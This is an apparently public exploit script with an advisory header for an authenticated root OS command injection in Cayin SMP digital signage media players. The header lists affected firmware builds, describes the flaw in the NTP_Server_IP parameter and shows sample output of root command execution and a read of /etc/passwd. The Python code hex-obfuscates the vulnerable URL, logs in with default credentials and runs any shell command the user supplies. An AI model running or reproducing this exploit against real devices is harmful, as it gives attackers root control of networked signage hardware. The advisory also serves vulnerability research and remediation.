#!/usr/bin/env python3 # # # Cayin Signage Media Player 3.0 Root Remote Command Injection # # # Vendor: CAYIN Technology Co., Ltd. # Product web page: https://www.cayintech.com # Affected version: SMP-8000QD v3.0 # SMP-8000 v3.0 # SMP-6000 v3.0 Build 19025 # SMP-6000 v1.0 Build 14246 # SMP-6000 v1.0 Build 14199 # SMP-6000 v1.0 Build 14167 # SMP-6000 v1.0 Build 14097 # SMP-6000 v1.0 Build 14090 # SMP-6000 v1.0 Build 14069 # SMP-6000 v1.0 Build 14062 # SMP-4000 v1.0 Build 14098 # SMP-4000 v1.0 Build 14092 # SMP-4000 v1.0 Build 14087 # SMP-2310 v3.0 # SMP-2300 v3.0 Build 19316 # SMP-2210 v3.0 Build 19025 # SMP-2200 v3.0 Build 19029 # SMP-2200 v3.0 Build 19025 # SMP-2100 v10.0 Build 16228 # SMP-2100 v3.0 # SMP-2000 v1.0 Build 14167 # SMP-2000 v1.0 Build 14087 # SMP-1000 v1.0 Build 14099 # SMP-PROPLUS v1.5 Build 10081 # SMP-WEBPLUS v6.5 Build 11126 # SMP-WEB4 v2.0 Build 13073 # SMP-WEB4 v2.0 Build 11175 # SMP-WEB4 v1.5 Build 11476 # SMP-WEB4 v1.5 Build 11126 # SMP-WEB4 v1.0 Build 10301 # SMP-300 v1.0 Build 14177 # SMP-200 v1.0 Build 13080 # SMP-200 v1.0 Build 12331 # SMP-PRO4 v1.0 # SMP-NEO2 v1.0 # SMP-NEO v1.0 # # Summary: CAYIN Technology provides Digital Signage # solutions, including media players, servers, and # software designed for the DOOH (Digital Out-of-home) # networks. We develop industrial-grade digital signage # appliances and tailored services so you don't have # to do the hard work. # # Desc: CAYIN SMP-xxxx suffers from an authenticated # OS command injection vulnerability using default # credentials. This can be exploited to inject and # execute arbitrary shell commands as the root user # through the 'NTP_Server_IP' HTTP GET parameter in # system.cgi and wizard_system.cgi pages. # # ----------------------------------------------------- # $ ./cayin.py 192.168.1.2 id # uid=0(root) gid=65534(guest) # # start sshd # $ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd # $ # $ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'" # tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN # tcp 0 0 :::22 :::* LISTEN # $ ./cayin.py 192.168.1.2 "cat /etc/passwd" # root:x:0:0:root:/root:/bin/bash # vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin # smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin # sshd:x:1000:0::/dev/null:/sbin/nologin # $ # ----------------------------------------------------- # # Tested on: CAYIN Technology KT-Linux v0.99 # Apache/1.3.42 (Unix) # Apache/1.3.41 (Unix) # PHP/5.2.5 # Linux 2.6.37 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5569 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5569.php # # # 15.05.2020 # import requests import sys#____ import re#_____ if len(sys.argv) < 3: print("Cayin SMP WebManager Post-Auth RCE") print("Usage: ./cayin.py [ip] [cmd]") sys.exit(17) else: ip____address = sys.argv[1] ex____command = sys.argv[2] ur____identif = b"\x68\x74\x74\x70\x3a\x2f\x2f" ur____identif += (bytes(ip____address, "utf-8")) ur____identif += b"\x2f\x63\x67\x69\x2d\x62\x69" ur____identif += b"\x6e\x2f\x77\x69\x7a\x61\x72" ur____identif += b"\x64\x5f\x73\x79\x73\x74\x65" ur____identif += b"\x6d\x2e\x63\x67\x69\x3f\x54" ur____identif += b"\x45\x53\x54\x5f\x4e\x54\x50" ur____identif += b"\x3d\x31\x26\x4e\x54\x50\x5f" ur____identif += b"\x53\x65\x72\x76\x65\x72\x5f" ur____identif += b"\x49\x50\x3d\x70\x6f\x6f\x6c" ur____identif += b"\x2e\x6e\x74\x70\x2e\x6f\x72" ur____identif += b"\x67\x25\x32\x36" ##########" ur____identif += (bytes(ex____command, "utf-8")) ur____identif += b"\x25\x32\x36" ##############" ht____request = requests.get(ur____identif, auth = ("webadmin", "admin")) re____outputs = re.search("\n(.*)", ht____request.text, flags = re.S).group().strip("\n") print(re____outputs)